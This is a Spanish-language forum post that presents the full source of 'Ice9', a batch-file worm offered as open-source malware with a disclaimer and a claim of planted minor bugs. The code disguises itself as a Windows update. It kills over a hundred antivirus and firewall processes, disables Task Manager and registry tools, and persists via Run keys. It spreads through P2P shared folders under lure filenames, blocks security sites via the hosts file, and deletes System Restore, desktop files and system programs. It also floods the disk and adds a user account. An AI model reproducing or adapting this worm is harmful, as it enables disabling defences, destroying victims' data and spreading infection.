Abril Negro 2007 página 2

Hola

Aqui les dejo un verdadero worm en Batch, esta version no sirve para copiar y pegar, es simplemente una muestra, se le a añadido un par de fallos tontos y faciles de reconocer por los programadores batch. No me hago responsable de lo que se haga con este codigo:

Citar

rem *********************************************************************
rem ****************** **********************
rem Ice9
rem ****************** **********************
rem SaOk & Victoric
rem
rem ****************** **********************
rem *********************************************************************
rem Este es un Malware de Open Source
rem No nos hacemos responsables del mal uso que se haga de el.
rem Puede ser compilado con el nombre que se quiera.
rem *****************************************************************
rem - Distribucion por p2p
rem - AV killer
rem - Impide que se acceda a algunas webs
rem - Desactiba Registro y Administrador de tareas
rem - se añade al registro para que se incie con la maquina
rem - crea un archivo .txt y lo engorda de tamaño
rem - Crea unos cuantos archivos en C:\
rem

@ echo off
rem
rem distraemos al usuario
rem
start www.google.com
rem
rem ingeneria social
rem
title Actualizacion de Windows.NO cierren la venta.
rem
rem
rem creamo un par de variables
rem
set look=type C:\Windows\System32\shell32.dll >> c:\windos\system32\dog.txt
set kill=del /q/ s
set aviso=msg * La actualizacion a concluido con exito.Su Windows ya esta actualizado.
rem Procesos Av y Firewall
tskill aak.exe
tskill AcctMgr.exe
tskill McAfeeVirusScanService.exe
tskill MCAgentExe.exe
tskill McRegWiz.exe
tskill McVsRte.exe
tskill Norton Antivirus AV.exe
tskill NPROTECT.exe
tskill Pavsrv51.exe
tskill PaSSrv.exe
tskill PavFires.exe
tskill PavFnSvr.exe
tskill PavProt.exe
tskill pavprsrv.exe
tskill pavsrv51.exe
tskill prevsrv.exe
tskill PsImSvc.exe
tskill nod32krn.exe
tskill nod32kui.exe
tskill nod32.exe
tskill avgupsvc.exe
tskill avgamsvr.exe
tskill avgemc.exe
tskill avgcc.exe
tskill ashDisp.exe
tskill ashMaiSv.exe
tskill ashServ.exe
tskill ashWebSv.exe
tskill aswUpdSv.exe
tskill _avp32.exe
tskill _avpcc.exe
tskill _avpm.exe
tskill ackwin32.exe
tskill anti-trojan.exe
tskill apvxdwin.exe
tskill autodown.exe
tskill avconsol.exe
tskill ave32.exe
tskill avgctrl.exe
tskill avkserv.exe
tskill avnt.exe
tskill avp.exe
tskill avp32.exe
tskill avpcc.exe
tskill avpdos32.exe
tskill avpm.exe
tskill avptc32.exe
tskill avpupd.exe
tskill avsched32.exe
tskill avwin95.exe
tskill avwupd32.exe
tskill blackd.exe
tskill blackice.exe
tskill cfiadmin.exe
tskill cfiaudit.exe
tskill cfinet.exe
tskill cfinet32.exe
tskill claw95.exe
tskill claw95cf.exe
tskill cleaner.exe
tskill cleaner3.exe
tskill dvp95.exe
tskill dvp95_0.exe
tskill ecengine.exe
tskill esafe.exe
tskill espwatch.exe
tskill f-agnt95.exe
tskill findviru.exe
tskill f-prot.exe
tskill fprot.exe
tskill f-prot95.exe
tskill fp-win.exe
tskill frw.exe
tskill f-stopw.exe
tskill iamapp.exe
tskill iamserv.exe
tskill ibmasn.exe
tskill ibmavsp.exe
tskill icload95.exe
tskill icloadnt.exe
tskill icmon.exe
tskill icsupp95.exe
tskill icsuppnt.exe
tskill iface.exe
tskill iomon98.exe
tskill jedi.exe
tskill lockdown2000.exe
tskill lookout.exe
tskill luall.exe
tskill moolive.exe
tskill mpftray.exe
tskill n32scanw.exe
tskill navapw32.exe
tskill navlu32.exe
tskill navnt.exe
tskill navw32.exe
tskill navwnt.exe
tskill nisum.exe
tskill nmain.exe
tskill normist.exe
tskill nupgrade.exe
tskill nvc95.exe
tskill outpost.exe
tskill padmin.exe
tskill pavcl.exe
tskill pavsched.exe
tskill pavw.exe
tskill pccwin98.exe
tskill pcfwallicon.exe
tskill persfw.exe
tskill rav7.exe
tskill rav7win.exe
tskill rescue.exe
tskill safeweb.exe
tskill scan32.exe
tskill scan95.exe
tskill scanpm.exe
tskill scrscan.exe
tskill serv95.exe
tskill smc.exe
tskill sphinx.exe
tskill sweep95.exe
tskill tbscan.exe
tskill tca.exe
tskill tds2-98.exe
tskill tds2-nt.exe
tskill vet95.exe
tskill vettray.exe
tskill vscan40.exe
tskill vsecomr.exe
tskill vshwin32.exe
tskill vsstat.exe
tskill webscanx.exe
tskill wfindv32.exe
tskill zonealarm.exe
rem
rem empezamos desactivando el administrador de tareas.
rem
reg add hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d ""1"" /f
rem
rem nos copiamos en system32 como root.bat
rem
copy %0 %HOMEDRIVE%\system32\%USERDOMAIN%.bat
attrib +H +S %HOMEDRIVE%\system32\%USERDOMAIN%.bat
rem por si acaso tambien en system
copy %0 %HOMEDRIVE%\system\%USERDOMAIN%.bat
attrib +H +S %HOMEDRIVE%\system\%USERDOMAIN%.bat
rem
rem nos agremos en el regsitro para iniciarnos con la pc
rem
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemDates /d %0
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Ice9 /d c:\WINDOWS\system32\%USERDOMAIN%.bat"
rem
rem ahora desactibamos el registro.
rem
reg add hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d ""1"" /f
rem
rem vamos a dejarle sin el restaurador del sistema
rem
del /q /s %SystemRoot%\system32\restore\rstrui.exe
rem
rem una propagacion p2p sencilla
copy %0 C:\%ProgramFiles%\Grokster*Grokste*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Morpheus\*Shared*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\ICQ\*files*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\KaZaA\*Folder*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\KaZaA Lite\*Folder*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\EDONKEY2000\incoming\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\eMule\Incoming\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Filetopia3\Files\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\appleJuice\incoming\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Gnucleus\Downloads\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\LimeWire\Shared\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Overnet\incoming\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Shareaza\Downloads\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Swaptor\Download\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\WinMX\*Folder*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Tesla\Files\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\XoloX\Downloads\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\Rapigator\Share\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\KMD\*Shared*\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\BearShare\Shared\pass_xxx_100webs.bat
copy %0 C:\%ProgramFiles%\*Direct*\*Received*\pass_xxx_100webs.bat
rem
copy %0 C:\%ProgramFiles%\Grokster*Grokste*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Morpheus\*Shared*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\ICQ\*files*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\KaZaA\*Folder*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\KaZaA Lite\*Folder*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\EDONKEY2000\incoming\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\eMule\Incoming\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Filetopia3\Files\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\appleJuice\incoming\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Gnucleus\Downloads\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\LimeWire\Shared\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Overnet\incoming\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Shareaza\Downloads\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Swaptor\Download\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\WinMX\*Folder*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Tesla\Files\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\XoloX\Downloads\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\Rapigator\Share\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\KMD\*Shared*\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\BearShare\Shared\Path_msn_Emoticonos_2006.bat
copy %0 C:\%ProgramFiles%\*Direct*\*Received*\Path_msn_Emoticonos_2006.bat
rem
copy %0 C:\%ProgramFiles%\Grokster*Grokste*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Morpheus\*Shared*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\ICQ\*files*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\KaZaA\*Folder*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\KaZaA Lite\*Folder*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\EDONKEY2000\incoming\sms_gratis.bat
copy %0 C:\%ProgramFiles%\eMule\Incoming\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Filetopia3\Files\sms_gratis.bat
copy %0 C:\%ProgramFiles%\appleJuice\incoming\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Gnucleus\Downloads\sms_gratis.bat
copy %0 C:\%ProgramFiles%\LimeWire\Shared\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Overnet\incoming\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Shareaza\Downloads\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Swaptor\Download\sms_gratis.bat
copy %0 C:\%ProgramFiles%\WinMX\*Folder*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Tesla\Files\sms_gratis.bat
copy %0 C:\%ProgramFiles%\XoloX\Downloads\sms_gratis.bat
copy %0 C:\%ProgramFiles%\Rapigator\Share\sms_gratis.bat
copy %0 C:\%ProgramFiles%\KMD\*Shared*\sms_gratis.bat
copy %0 C:\%ProgramFiles%\BearShare\Shared\sms_gratis.bat
copy %0 C:\%ProgramFiles%\*Direct*\*Received*\sms_gratis.bat
rem
copy %0 C:\%ProgramFiles%\Grokster*Grokste*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Morpheus\*Shared*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\ICQ\*files*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\KaZaA\*Folder*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\KaZaA Lite\*Folder*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\EDONKEY2000\incoming\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\eMule\Incoming\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Filetopia3\Files\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\appleJuice\incoming\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Gnucleus\Downloads\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\LimeWire\Shared\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Overnet\incoming\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Shareaza\Downloads\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Swaptor\Download\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\WinMX\*Folder*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Tesla\Files\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\XoloX\Downloads\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\Rapigator\Share\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\KMD\*Shared*\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\BearShare\Shared\polifonicos_free.bat
copy %0 C:\%ProgramFiles%\*Direct*\*Received*\polifonicos_free.bat
cls
rem
rem vamos a putearle un poco
rem
MODE CON[:] [RATE=r DELAY=99999]
MODE CON[:] [COLS=2] [LINES=2]
rem
rem No nos interesa que la victima visite estas paginas
echo 81.21.145.144 McAfee >> C:\WINDOWS\system32\drivers\etc\hosts
echo 212.170.238.10 panda >> C:\WINDOWS\system32\drivers\etc\hosts
echo 212.170.238.35 Norton >> C:\WINDOWS\system32\drivers\etc\hosts
echo 67.15.68.49 kaspersky >> C:\WINDOWS\system32\drivers\etc\hosts
echo 67.15.68.49 Nod32 >> C:\WINDOWS\system32\drivers\etc\hosts
echo 66.98.250.38 virusTotal >> C:\WINDOWS\system32\drivers\etc\hosts
cls
rem
rem Creamos nuestra mascota
echo Mascota >> c:\windos\system32\dog.txt
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
%look%
cls
rem
rem ya a comido mucho xD
rem
rem ahora lo que hacemos creamos unos cuantos archivos
rem
for /l %%i in (1,1,9999999) do (echo turururura > c:\%%i.txt)
rem
rem
rem ahora un porquito de maldad con los archivos
rem
%kill% c:\WINDOWS\system32\calc.exe
%kill% c:\WINDOWS\system32\mspaint.exe
%kill% c:\windows\system32\notepad.exe
rename c:\WINDOWS\system32\osk.exe c:\WINDOWS\system32\calc.exe
rename c:\WINDOWS\system32\write.exe c:\WINDOWS\system32\mspaint.exe
rename c:\WINDOWS\system32\winchat.exe c:\WINDOWS\system32\notepad.exe
rem
rem Colocamos esto al final porque puede dar un error si esta en el escritorio
rem
del /q /s C:\*documents*\%USERNAME%\escritorio\*.*
:bucle
set numero2=1
set /a resultado=%resultado% + %numero2%
echo ICE9 malware.bat>> %resultado%.txt
if %resultado%==71 (goto :lets)
goto :bucle
:lets
rem payload
rem
net user Infect.by.Ice9.Malware.in.Batch ice9malware /add
net send * Infect Admin Pc with Ice9 marware in batch
rem *******************************************************************************
rem
cls
ver
pause
cls
%aviso%
cls
rem
rem *******************************************************************************
:AC
start cmd.exe echo error en la actualizacion
goto :AC
rem ******************************************************************************
rem FIN
rem ******************************************************************************